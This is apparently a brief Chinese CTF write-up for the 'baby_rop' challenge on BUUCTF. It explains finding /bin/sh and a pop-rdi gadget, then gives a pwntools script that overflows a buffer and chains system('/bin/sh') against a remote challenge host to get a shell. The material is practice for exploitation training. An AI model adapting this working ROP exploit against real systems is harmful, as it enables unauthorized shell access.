程序分析
-
先看ida,程序较为简单
-
通过shift+f12搜索字符串,可以看到存在/bin/sh字符串,一个简单的rop
解题思路
-
利用gadget,pop rdi ret传入字符串并调用system,得到shell
-
利用
ROPgadget --binary 'baby_rop' --only "pop|ret"
-
注意,打通了之后并不能直接cat flag,因为它在/home/babyrop里面,所以利用linux一些基本小命令得以打通
exp
from pwn import*
p = remote('node4.buuoj.cn',29302)
sys_addr = 0x400490
bin_sh = 0x601048
pop_rdi = 0x400683
p.recvuntil('?')
p.sendline(b'a'*0x18 + p64(pop_rdi)+p64(bin_sh)+p64(sys_addr))
p.interactive()